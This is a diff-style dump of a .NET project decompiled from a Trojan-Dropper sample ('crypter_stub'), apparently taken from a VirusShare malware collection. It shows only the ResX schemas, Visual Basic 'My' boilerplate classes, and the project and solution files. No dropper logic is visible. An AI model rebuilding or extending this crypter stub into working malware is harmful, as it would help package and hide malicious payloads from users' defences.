: System.Runtime.Serialization.Formatters.Soap.SoapFormatter
|
||||
: and then encoded with base64 encoding.
|
||||
|
||||
mimetype: application/x-microsoft.net.object.bytearray.base64
|
||||
value : The object must be serialized into a byte array
|
||||
: using a System.ComponentModel.TypeConverter
|
||||
: and then encoded with base64 encoding.
|
||||
-->
|
||||
<xsd:schema id="root" xmlns="" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:msdata="urn:schemas-microsoft-com:xml-msdata">
|
||||
<xsd:import namespace="http://www.w3.org/XML/1998/namespace" />
|
||||
<xsd:element name="root" msdata:IsDataSet="true">
|
||||
<xsd:complexType>
|
||||
<xsd:choice maxOccurs="unbounded">
|
||||
<xsd:element name="metadata">
|
||||
<xsd:complexType>
|
||||
<xsd:sequence>
|
||||
<xsd:element name="value" type="xsd:string" minOccurs="0" />
|
||||
</xsd:sequence>
|
||||
<xsd:attribute name="name" use="required" type="xsd:string" />
|
||||
<xsd:attribute name="type" type="xsd:string" />
|
||||
<xsd:attribute name="mimetype" type="xsd:string" />
|
||||
<xsd:attribute ref="xml:space" />
|
||||
</xsd:complexType>
|
||||
</xsd:element>
|
||||
<xsd:element name="assembly">
|
||||
<xsd:complexType>
|
||||
<xsd:attribute name="alias" type="xsd:string" />
|
||||
<xsd:attribute name="name" type="xsd:string" />
|
||||
</xsd:complexType>
|
||||
</xsd:element>
|
||||
<xsd:element name="data">
|
||||
<xsd:complexType>
|
||||
<xsd:sequence>
|
||||
<xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
|
||||
<xsd:element name="comment" type="xsd:string" minOccurs="0" msdata:Ordinal="2" />
|
||||
</xsd:sequence>
|
||||
<xsd:attribute name="name" type="xsd:string" use="required" msdata:Ordinal="1" />
|
||||
<xsd:attribute name="type" type="xsd:string" msdata:Ordinal="3" />
|
||||
<xsd:attribute name="mimetype" type="xsd:string" msdata:Ordinal="4" />
|
||||
<xsd:attribute ref="xml:space" />
|
||||
</xsd:complexType>
|
||||
</xsd:element>
|
||||
<xsd:element name="resheader">
|
||||
<xsd:complexType>
|
||||
<xsd:sequence>
|
||||
<xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
|
||||
</xsd:sequence>
|
||||
<xsd:attribute name="name" type="xsd:string" use="required" />
|
||||
</xsd:complexType>
|
||||
</xsd:element>
|
||||
</xsd:choice>
|
||||
</xsd:complexType>
|
||||
</xsd:element>
|
||||
</xsd:schema>
|
||||
<resheader name="resmimetype">
|
||||
<value>text/microsoft-resx</value>
|
||||
</resheader>
|
||||
<resheader name="version">
|
||||
<value>2.0</value>
|
||||
</resheader>
|
||||
<resheader name="reader">
|
||||
<value>System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
|
||||
</resheader>
|
||||
<resheader name="writer">
|
||||
<value>System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
|
||||
</resheader>
|
||||
</root>
|
||||
+48
@@ -0,0 +1,48 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: crypter_stub.My.MyApplication
|
||||
// Assembly: stub, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: E49E58A8-AF94-42AF-BA26-1A5E1AADA9FB
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan-Dropper.MSIL.StubRC.acd-3f0403943020b2c472cb53f4f7118085d17e084347b991a3343cf900c1f3ae60.exe
|
||||
|
||||
using Microsoft.VisualBasic.ApplicationServices;
|
||||
using System;
|
||||
using System.CodeDom.Compiler;
|
||||
using System.ComponentModel;
|
||||
using System.Diagnostics;
|
||||
using System.Windows.Forms;
|
||||
|
||||
namespace crypter_stub.My
|
||||
{
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
[GeneratedCode("MyTemplate", "8.0.0.0")]
|
||||
internal class MyApplication : WindowsFormsApplicationBase
|
||||
{
|
||||
[EditorBrowsable(EditorBrowsableState.Advanced)]
|
||||
[DebuggerHidden]
|
||||
[STAThread]
|
||||
internal static void Main(string[] Args)
|
||||
{
|
||||
try
|
||||
{
|
||||
Application.SetCompatibleTextRenderingDefault(WindowsFormsApplicationBase.UseCompatibleTextRendering);
|
||||
}
|
||||
finally
|
||||
{
|
||||
}
|
||||
MyProject.Application.Run(Args);
|
||||
}
|
||||
|
||||
[DebuggerStepThrough]
|
||||
public MyApplication()
|
||||
: base(AuthenticationMode.Windows)
|
||||
{
|
||||
this.IsSingleInstance = false;
|
||||
this.EnableVisualStyles = true;
|
||||
this.SaveMySettingsOnExit = true;
|
||||
this.ShutdownStyle = ShutdownMode.AfterMainFormCloses;
|
||||
}
|
||||
|
||||
[DebuggerStepThrough]
|
||||
protected override void OnCreateMainForm() => this.MainForm = (Form) MyProject.Forms.Form1;
|
||||
}
|
||||
}
|
||||
+24
@@ -0,0 +1,24 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: crypter_stub.My.MyComputer
|
||||
// Assembly: stub, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: E49E58A8-AF94-42AF-BA26-1A5E1AADA9FB
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan-Dropper.MSIL.StubRC.acd-3f0403943020b2c472cb53f4f7118085d17e084347b991a3343cf900c1f3ae60.exe
|
||||
|
||||
using Microsoft.VisualBasic.Devices;
|
||||
using System.CodeDom.Compiler;
|
||||
using System.ComponentModel;
|
||||
using System.Diagnostics;
|
||||
|
||||
namespace crypter_stub.My
|
||||
{
|
||||
[GeneratedCode("MyTemplate", "8.0.0.0")]
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
internal class MyComputer : Computer
|
||||
{
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
[DebuggerHidden]
|
||||
public MyComputer()
|
||||
{
|
||||
}
|
||||
}
|
||||
}
|
||||
+212
@@ -0,0 +1,212 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: crypter_stub.My.MyProject
|
||||
// Assembly: stub, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: E49E58A8-AF94-42AF-BA26-1A5E1AADA9FB
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan-Dropper.MSIL.StubRC.acd-3f0403943020b2c472cb53f4f7118085d17e084347b991a3343cf900c1f3ae60.exe
|
||||
|
||||
using Microsoft.VisualBasic;
|
||||
using Microsoft.VisualBasic.ApplicationServices;
|
||||
using Microsoft.VisualBasic.CompilerServices;
|
||||
using System;
|
||||
using System.CodeDom.Compiler;
|
||||
using System.Collections;
|
||||
using System.ComponentModel;
|
||||
using System.ComponentModel.Design;
|
||||
using System.Diagnostics;
|
||||
using System.Reflection;
|
||||
using System.Runtime.CompilerServices;
|
||||
using System.Runtime.InteropServices;
|
||||
using System.Windows.Forms;
|
||||
|
||||
namespace crypter_stub.My
|
||||
{
|
||||
[GeneratedCode("MyTemplate", "8.0.0.0")]
|
||||
[StandardModule]
|
||||
[HideModuleName]
|
||||
internal sealed class MyProject
|
||||
{
|
||||
private static readonly MyProject.ThreadSafeObjectProvider<MyComputer> m_ComputerObjectProvider = new MyProject.ThreadSafeObjectProvider<MyComputer>();
|
||||
private static readonly MyProject.ThreadSafeObjectProvider<MyApplication> m_AppObjectProvider = new MyProject.ThreadSafeObjectProvider<MyApplication>();
|
||||
private static readonly MyProject.ThreadSafeObjectProvider<User> m_UserObjectProvider = new MyProject.ThreadSafeObjectProvider<User>();
|
||||
private static MyProject.ThreadSafeObjectProvider<MyProject.MyForms> m_MyFormsObjectProvider = new MyProject.ThreadSafeObjectProvider<MyProject.MyForms>();
|
||||
private static readonly MyProject.ThreadSafeObjectProvider<MyProject.MyWebServices> m_MyWebServicesObjectProvider = new MyProject.ThreadSafeObjectProvider<MyProject.MyWebServices>();
|
||||
|
||||
[DebuggerNonUserCode]
|
||||
static MyProject()
|
||||
{
|
||||
}
|
||||
|
||||
[HelpKeyword("My.Computer")]
|
||||
internal static MyComputer Computer
|
||||
{
|
||||
[DebuggerHidden] get => MyProject.m_ComputerObjectProvider.GetInstance;
|
||||
}
|
||||
|
||||
[HelpKeyword("My.Application")]
|
||||
internal static MyApplication Application
|
||||
{
|
||||
[DebuggerHidden] get => MyProject.m_AppObjectProvider.GetInstance;
|
||||
}
|
||||
|
||||
[HelpKeyword("My.User")]
|
||||
internal static User User
|
||||
{
|
||||
[DebuggerHidden] get => MyProject.m_UserObjectProvider.GetInstance;
|
||||
}
|
||||
|
||||
[HelpKeyword("My.Forms")]
|
||||
internal static MyProject.MyForms Forms
|
||||
{
|
||||
[DebuggerHidden] get => MyProject.m_MyFormsObjectProvider.GetInstance;
|
||||
}
|
||||
|
||||
[HelpKeyword("My.WebServices")]
|
||||
internal static MyProject.MyWebServices WebServices
|
||||
{
|
||||
[DebuggerHidden] get => MyProject.m_MyWebServicesObjectProvider.GetInstance;
|
||||
}
|
||||
|
||||
[MyGroupCollection("System.Windows.Forms.Form", "Create__Instance__", "Dispose__Instance__", "My.MyProject.Forms")]
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
internal sealed class MyForms
|
||||
{
|
||||
public Form1 m_Form1;
|
||||
[ThreadStatic]
|
||||
private static Hashtable m_FormBeingCreated;
|
||||
|
||||
public Form1 Form1
|
||||
{
|
||||
[DebuggerNonUserCode] get
|
||||
{
|
||||
this.m_Form1 = MyProject.MyForms.Create__Instance__<Form1>(this.m_Form1);
|
||||
return this.m_Form1;
|
||||
}
|
||||
[DebuggerNonUserCode] set
|
||||
{
|
||||
if (value == this.m_Form1)
|
||||
return;
|
||||
if (value != null)
|
||||
throw new ArgumentException("Property can only be set to Nothing");
|
||||
this.Dispose__Instance__<Form1>(ref this.m_Form1);
|
||||
}
|
||||
}
|
||||
|
||||
[DebuggerHidden]
|
||||
private static T Create__Instance__<T>(T Instance) where T : Form, new()
|
||||
{
|
||||
if ((object) Instance != null && !Instance.IsDisposed)
|
||||
return Instance;
|
||||
if (MyProject.MyForms.m_FormBeingCreated != null)
|
||||
{
|
||||
if (MyProject.MyForms.m_FormBeingCreated.ContainsKey((object) typeof (T)))
|
||||
throw new InvalidOperationException(Utils.GetResourceString("WinForms_RecursiveFormCreate"));
|
||||
}
|
||||
else
|
||||
MyProject.MyForms.m_FormBeingCreated = new Hashtable();
|
||||
MyProject.MyForms.m_FormBeingCreated.Add((object) typeof (T), (object) null);
|
||||
try
|
||||
{
|
||||
return new T();
|
||||
}
|
||||
catch (TargetInvocationException ex) when (
|
||||
{
|
||||
// ISSUE: unable to correctly present filter
|
||||
ProjectData.SetProjectError((Exception) ex);
|
||||
if (ex.InnerException != null)
|
||||
{
|
||||
SuccessfulFiltering;
|
||||
}
|
||||
else
|
||||
throw;
|
||||
}
|
||||
)
|
||||
{
|
||||
throw new InvalidOperationException(Utils.GetResourceString("WinForms_SeeInnerException", ex.InnerException.Message), ex.InnerException);
|
||||
}
|
||||
finally
|
||||
{
|
||||
MyProject.MyForms.m_FormBeingCreated.Remove((object) typeof (T));
|
||||
}
|
||||
}
|
||||
|
||||
[DebuggerHidden]
|
||||
private void Dispose__Instance__<T>(ref T instance) where T : Form
|
||||
{
|
||||
instance.Dispose();
|
||||
instance = default (T);
|
||||
}
|
||||
|
||||
[DebuggerHidden]
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
public MyForms()
|
||||
{
|
||||
}
|
||||
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
public override bool Equals(object o) => base.Equals(RuntimeHelpers.GetObjectValue(o));
|
||||
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
public override int GetHashCode() => base.GetHashCode();
|
||||
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
internal new System.Type GetType() => typeof (MyProject.MyForms);
|
||||
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
public override string ToString() => base.ToString();
|
||||
}
|
||||
|
||||
[MyGroupCollection("System.Web.Services.Protocols.SoapHttpClientProtocol", "Create__Instance__", "Dispose__Instance__", "")]
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
internal sealed class MyWebServices
|
||||
{
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
[DebuggerHidden]
|
||||
public override bool Equals(object o) => base.Equals(RuntimeHelpers.GetObjectValue(o));
|
||||
|
||||
[DebuggerHidden]
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
public override int GetHashCode() => base.GetHashCode();
|
||||
|
||||
[DebuggerHidden]
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
internal new System.Type GetType() => typeof (MyProject.MyWebServices);
|
||||
|
||||
[DebuggerHidden]
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
public override string ToString() => base.ToString();
|
||||
|
||||
[DebuggerHidden]
|
||||
private static T Create__Instance__<T>(T instance) where T : new() => (object) instance == null ? new T() : instance;
|
||||
|
||||
[DebuggerHidden]
|
||||
private void Dispose__Instance__<T>(ref T instance) => instance = default (T);
|
||||
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
[DebuggerHidden]
|
||||
public MyWebServices()
|
||||
{
|
||||
}
|
||||
}
|
||||
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
[ComVisible(false)]
|
||||
internal sealed class ThreadSafeObjectProvider<T> where T : new()
|
||||
{
|
||||
internal T GetInstance
|
||||
{
|
||||
[DebuggerHidden] get
|
||||
{
|
||||
if ((object) MyProject.ThreadSafeObjectProvider<T>.m_ThreadStaticValue == null)
|
||||
MyProject.ThreadSafeObjectProvider<T>.m_ThreadStaticValue = new T();
|
||||
return MyProject.ThreadSafeObjectProvider<T>.m_ThreadStaticValue;
|
||||
}
|
||||
}
|
||||
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
[DebuggerHidden]
|
||||
public ThreadSafeObjectProvider()
|
||||
{
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
+73
@@ -0,0 +1,73 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: crypter_stub.My.MySettings
|
||||
// Assembly: stub, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: E49E58A8-AF94-42AF-BA26-1A5E1AADA9FB
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan-Dropper.MSIL.StubRC.acd-3f0403943020b2c472cb53f4f7118085d17e084347b991a3343cf900c1f3ae60.exe
|
||||
|
||||
using Microsoft.VisualBasic.ApplicationServices;
|
||||
using Microsoft.VisualBasic.CompilerServices;
|
||||
using System;
|
||||
using System.CodeDom.Compiler;
|
||||
using System.ComponentModel;
|
||||
using System.Configuration;
|
||||
using System.Diagnostics;
|
||||
using System.Runtime.CompilerServices;
|
||||
using System.Threading;
|
||||
|
||||
namespace crypter_stub.My
|
||||
{
|
||||
[CompilerGenerated]
|
||||
[EditorBrowsable(EditorBrowsableState.Advanced)]
|
||||
[GeneratedCode("Microsoft.VisualStudio.Editors.SettingsDesigner.SettingsSingleFileGenerator", "9.0.0.0")]
|
||||
internal sealed class MySettings : ApplicationSettingsBase
|
||||
{
|
||||
private static MySettings defaultInstance = (MySettings) SettingsBase.Synchronized((SettingsBase) new MySettings());
|
||||
private static bool addedHandler;
|
||||
private static object addedHandlerLockObject = RuntimeHelpers.GetObjectValue(new object());
|
||||
|
||||
[DebuggerNonUserCode]
|
||||
public MySettings()
|
||||
{
|
||||
}
|
||||
|
||||
[EditorBrowsable(EditorBrowsableState.Advanced)]
|
||||
[DebuggerNonUserCode]
|
||||
private static void AutoSaveSettings(object sender, EventArgs e)
|
||||
{
|
||||
if (!MyProject.Application.SaveMySettingsOnExit)
|
||||
return;
|
||||
MySettingsProperty.Settings.Save();
|
||||
}
|
||||
|
||||
public static MySettings Default
|
||||
{
|
||||
get
|
||||
{
|
||||
if (!MySettings.addedHandler)
|
||||
{
|
||||
object handlerLockObject = MySettings.addedHandlerLockObject;
|
||||
ObjectFlowControl.CheckForSyncLockOnValueType(handlerLockObject);
|
||||
Monitor.Enter(handlerLockObject);
|
||||
try
|
||||
{
|
||||
if (!MySettings.addedHandler)
|
||||
{
|
||||
MyProject.Application.Shutdown += (ShutdownEventHandler) ((sender, e) =>
|
||||
{
|
||||
if (!MyProject.Application.SaveMySettingsOnExit)
|
||||
return;
|
||||
MySettingsProperty.Settings.Save();
|
||||
});
|
||||
MySettings.addedHandler = true;
|
||||
}
|
||||
}
|
||||
finally
|
||||
{
|
||||
Monitor.Exit(handlerLockObject);
|
||||
}
|
||||
}
|
||||
return MySettings.defaultInstance;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
+24
@@ -0,0 +1,24 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: crypter_stub.My.MySettingsProperty
|
||||
// Assembly: stub, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: E49E58A8-AF94-42AF-BA26-1A5E1AADA9FB
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan-Dropper.MSIL.StubRC.acd-3f0403943020b2c472cb53f4f7118085d17e084347b991a3343cf900c1f3ae60.exe
|
||||
|
||||
using Microsoft.VisualBasic;
|
||||
using Microsoft.VisualBasic.CompilerServices;
|
||||
using System.ComponentModel.Design;
|
||||
using System.Diagnostics;
|
||||
using System.Runtime.CompilerServices;
|
||||
|
||||
namespace crypter_stub.My
|
||||
{
|
||||
[HideModuleName]
|
||||
[DebuggerNonUserCode]
|
||||
[StandardModule]
|
||||
[CompilerGenerated]
|
||||
internal sealed class MySettingsProperty
|
||||
{
|
||||
[HelpKeyword("My.Settings")]
|
||||
internal static MySettings Settings => MySettings.Default;
|
||||
}
|
||||
}
|
||||
+46
@@ -0,0 +1,46 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: crypter_stub.My.Resources.Resources
|
||||
// Assembly: stub, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: E49E58A8-AF94-42AF-BA26-1A5E1AADA9FB
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan-Dropper.MSIL.StubRC.acd-3f0403943020b2c472cb53f4f7118085d17e084347b991a3343cf900c1f3ae60.exe
|
||||
|
||||
using Microsoft.VisualBasic;
|
||||
using Microsoft.VisualBasic.CompilerServices;
|
||||
using System.CodeDom.Compiler;
|
||||
using System.ComponentModel;
|
||||
using System.Diagnostics;
|
||||
using System.Globalization;
|
||||
using System.Resources;
|
||||
using System.Runtime.CompilerServices;
|
||||
|
||||
namespace crypter_stub.My.Resources
|
||||
{
|
||||
[DebuggerNonUserCode]
|
||||
[StandardModule]
|
||||
[HideModuleName]
|
||||
[CompilerGenerated]
|
||||
[GeneratedCode("System.Resources.Tools.StronglyTypedResourceBuilder", "2.0.0.0")]
|
||||
internal sealed class Resources
|
||||
{
|
||||
private static ResourceManager resourceMan;
|
||||
private static CultureInfo resourceCulture;
|
||||
|
||||
[EditorBrowsable(EditorBrowsableState.Advanced)]
|
||||
internal static ResourceManager ResourceManager
|
||||
{
|
||||
get
|
||||
{
|
||||
if (object.ReferenceEquals((object) crypter_stub.My.Resources.Resources.resourceMan, (object) null))
|
||||
crypter_stub.My.Resources.Resources.resourceMan = new ResourceManager("crypter_stub.Resources", typeof (crypter_stub.My.Resources.Resources).Assembly);
|
||||
return crypter_stub.My.Resources.Resources.resourceMan;
|
||||
}
|
||||
}
|
||||
|
||||
[EditorBrowsable(EditorBrowsableState.Advanced)]
|
||||
internal static CultureInfo Culture
|
||||
{
|
||||
get => crypter_stub.My.Resources.Resources.resourceCulture;
|
||||
set => crypter_stub.My.Resources.Resources.resourceCulture = value;
|
||||
}
|
||||
}
|
||||
}
|
||||
+120
@@ -0,0 +1,120 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<root>
|
||||
<!--
|
||||
Microsoft ResX Schema
|
||||
|
||||
Version 2.0
|
||||
|
||||
The primary goals of this format is to allow a simple XML format
|
||||
that is mostly human readable. The generation and parsing of the
|
||||
various data types are done through the TypeConverter classes
|
||||
associated with the data types.
|
||||
|
||||
Example:
|
||||
|
||||
... ado.net/XML headers & schema ...
|
||||
<resheader name="resmimetype">text/microsoft-resx</resheader>
|
||||
<resheader name="version">2.0</resheader>
|
||||
<resheader name="reader">System.Resources.ResXResourceReader, System.Windows.Forms, ...</resheader>
|
||||
<resheader name="writer">System.Resources.ResXResourceWriter, System.Windows.Forms, ...</resheader>
|
||||
<data name="Name1"><value>this is my long string</value><comment>this is a comment</comment></data>
|
||||
<data name="Color1" type="System.Drawing.Color, System.Drawing">Blue</data>
|
||||
<data name="Bitmap1" mimetype="application/x-microsoft.net.object.binary.base64">
|
||||
<value>[base64 mime encoded serialized .NET Framework object]</value>
|
||||
</data>
|
||||
<data name="Icon1" type="System.Drawing.Icon, System.Drawing" mimetype="application/x-microsoft.net.object.bytearray.base64">
|
||||
<value>[base64 mime encoded string representing a byte array form of the .NET Framework object]</value>
|
||||
<comment>This is a comment</comment>
|
||||
</data>
|
||||
|
||||
There are any number of "resheader" rows that contain simple
|
||||
name/value pairs.
|
||||
|
||||
Each data row contains a name, and value. The row also contains a
|
||||
type or mimetype. Type corresponds to a .NET class that support
|
||||
text/value conversion through the TypeConverter architecture.
|
||||
Classes that don't support this are serialized and stored with the
|
||||
mimetype set.
|
||||
|
||||
The mimetype is used for serialized objects, and tells the
|
||||
ResXResourceReader how to depersist the object. This is currently not
|
||||
extensible. For a given mimetype the value must be set accordingly:
|
||||
|
||||
Note - application/x-microsoft.net.object.binary.base64 is the format
|
||||
that the ResXResourceWriter will generate, however the reader can
|
||||
read any of the formats listed below.
|
||||
|
||||
mimetype: application/x-microsoft.net.object.binary.base64
|
||||
value : The object must be serialized with
|
||||
: System.Runtime.Serialization.Formatters.Binary.BinaryFormatter
|
||||
: and then encoded with base64 encoding.
|
||||
|
||||
mimetype: application/x-microsoft.net.object.soap.base64
|
||||
value : The object must be serialized with
|
||||
: System.Runtime.Serialization.Formatters.Soap.SoapFormatter
|
||||
: and then encoded with base64 encoding.
|
||||
|
||||
mimetype: application/x-microsoft.net.object.bytearray.base64
|
||||
value : The object must be serialized into a byte array
|
||||
: using a System.ComponentModel.TypeConverter
|
||||
: and then encoded with base64 encoding.
|
||||
-->
|
||||
<xsd:schema id="root" xmlns="" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:msdata="urn:schemas-microsoft-com:xml-msdata">
|
||||
<xsd:import namespace="http://www.w3.org/XML/1998/namespace" />
|
||||
<xsd:element name="root" msdata:IsDataSet="true">
|
||||
<xsd:complexType>
|
||||
<xsd:choice maxOccurs="unbounded">
|
||||
<xsd:element name="metadata">
|
||||
<xsd:complexType>
|
||||
<xsd:sequence>
|
||||
<xsd:element name="value" type="xsd:string" minOccurs="0" />
|
||||
</xsd:sequence>
|
||||
<xsd:attribute name="name" use="required" type="xsd:string" />
|
||||
<xsd:attribute name="type" type="xsd:string" />
|
||||
<xsd:attribute name="mimetype" type="xsd:string" />
|
||||
<xsd:attribute ref="xml:space" />
|
||||
</xsd:complexType>
|
||||
</xsd:element>
|
||||
<xsd:element name="assembly">
|
||||
<xsd:complexType>
|
||||
<xsd:attribute name="alias" type="xsd:string" />
|
||||
<xsd:attribute name="name" type="xsd:string" />
|
||||
</xsd:complexType>
|
||||
</xsd:element>
|
||||
<xsd:element name="data">
|
||||
<xsd:complexType>
|
||||
<xsd:sequence>
|
||||
<xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
|
||||
<xsd:element name="comment" type="xsd:string" minOccurs="0" msdata:Ordinal="2" />
|
||||
</xsd:sequence>
|
||||
<xsd:attribute name="name" type="xsd:string" use="required" msdata:Ordinal="1" />
|
||||
<xsd:attribute name="type" type="xsd:string" msdata:Ordinal="3" />
|
||||
<xsd:attribute name="mimetype" type="xsd:string" msdata:Ordinal="4" />
|
||||
<xsd:attribute ref="xml:space" />
|
||||
</xsd:complexType>
|
||||
</xsd:element>
|
||||
<xsd:element name="resheader">
|
||||
<xsd:complexType>
|
||||
<xsd:sequence>
|
||||
<xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
|
||||
</xsd:sequence>
|
||||
<xsd:attribute name="name" type="xsd:string" use="required" />
|
||||
</xsd:complexType>
|
||||
</xsd:element>
|
||||
</xsd:choice>
|
||||
</xsd:complexType>
|
||||
</xsd:element>
|
||||
</xsd:schema>
|
||||
<resheader name="resmimetype">
|
||||
<value>text/microsoft-resx</value>
|
||||
</resheader>
|
||||
<resheader name="version">
|
||||
<value>2.0</value>
|
||||
</resheader>
|
||||
<resheader name="reader">
|
||||
<value>System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
|
||||
</resheader>
|
||||
<resheader name="writer">
|
||||
<value>System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
|
||||
</resheader>
|
||||
</root>
|
||||
+53
@@ -0,0 +1,53 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<Project DefaultTargets="Build" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
<!--Project was exported from assembly: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan-Dropper.MSIL.StubRC.acd-3f0403943020b2c472cb53f4f7118085d17e084347b991a3343cf900c1f3ae60.exe-->
|
||||
<PropertyGroup>
|
||||
<Configuration Condition=" '$(Configuration)' == '' ">Debug</Configuration>
|
||||
<Platform Condition=" '$(Platform)' == '' ">AnyCPU</Platform>
|
||||
<ProjectGuid>{FCB8C97D-0667-4825-A4D4-0639754E6D09}</ProjectGuid>
|
||||
<OutputType>WinExe</OutputType>
|
||||
<AssemblyName>stub</AssemblyName>
|
||||
<ApplicationVersion>0.0.0.0</ApplicationVersion>
|
||||
<RootNamespace>crypter_stub</RootNamespace>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Debug|AnyCPU' ">
|
||||
<PlatformTarget>AnyCPU</PlatformTarget>
|
||||
<DebugSymbols>true</DebugSymbols>
|
||||
<DebugType>full</DebugType>
|
||||
<Optimize>false</Optimize>
|
||||
<OutputPath>bin\Debug\</OutputPath>
|
||||
<DefineConstants>DEBUG;TRACE</DefineConstants>
|
||||
<ErrorReport>prompt</ErrorReport>
|
||||
<WarningLevel>4</WarningLevel>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Release|AnyCPU' ">
|
||||
<PlatformTarget>AnyCPU</PlatformTarget>
|
||||
<DebugType>pdbonly</DebugType>
|
||||
<Optimize>true</Optimize>
|
||||
<OutputPath>bin\Release\</OutputPath>
|
||||
<DefineConstants>TRACE</DefineConstants>
|
||||
<ErrorReport>prompt</ErrorReport>
|
||||
<WarningLevel>4</WarningLevel>
|
||||
</PropertyGroup>
|
||||
<ItemGroup>
|
||||
<Reference Include="Microsoft.VisualBasic" />
|
||||
<Reference Include="System" />
|
||||
<Reference Include="System.Drawing" />
|
||||
<Reference Include="System.Windows.Forms" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<Compile Include="Form1.cs" />
|
||||
<Compile Include="My\MyApplication.cs" />
|
||||
<Compile Include="My\MyComputer.cs" />
|
||||
<Compile Include="My\MyProject.cs" />
|
||||
<Compile Include="My\MySettings.cs" />
|
||||
<Compile Include="My\MySettingsProperty.cs" />
|
||||
<Compile Include="My\Resources\Resources.cs" />
|
||||
<Compile Include="AssemblyInfo.cs" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<EmbeddedResource Include="Form1.resx" />
|
||||
<EmbeddedResource Include="Resources.resx" />
|
||||
</ItemGroup>
|
||||
<Import Project="$(MSBuildBinPath)\Microsoft.CSharp.targets" />
|
||||
</Project>
|
||||
+20
@@ -0,0 +1,20 @@
|
||||
|
||||
Microsoft Visual Studio Solution File, Format Version 9.00
|
||||
# Visual Studio 2005
|
||||
Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "stub", "Trojan-Dropper.MSIL.StubRC.acd-3f0403943020b2c472cb53f4f7118085d17e084347b991a3343cf900c1f3ae60.csproj", "{FCB8C97D-0667-4825-A4D4-0639754E6D09}"
|
||||
EndProject
|
||||
Global
|
||||
GlobalSection(SolutionConfigurationPlatforms) = preSolution
|
||||
Debug|Any CPU = Debug|Any CPU
|
||||
Release|Any CPU = Release|Any CPU
|
||||
EndGlobalSection
|
||||
GlobalSection(ProjectConfigurationPlatforms) = postSolution
|
||||
{FCB8C97D-0667-4825-A4D4-0639754E6D09}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
|
||||
{FCB8C97D-0667-4825-A4D4-0639754E6D09}.Debug|Any CPU.Build.0 = Debug|Any CPU
|
||||
{FCB8C97D-0667-4825-A4D4-0639754E6D09}.Release|Any CPU.ActiveCfg = Release|Any CPU
|
||||
{FCB8C97D-0667-4825-A4D4-0639754E6D09}.Release|Any CPU.Build.0 = Release|Any CPU
|
||||
EndGlobalSection
|
||||
GlobalSection(SolutionProperties) = preSolution
|
||||
HideSolutionNode = FALSE
|
||||
EndGlobalSection
|
||||
EndGlobal
|
||||
+13
@@ -0,0 +1,13 @@
|
||||
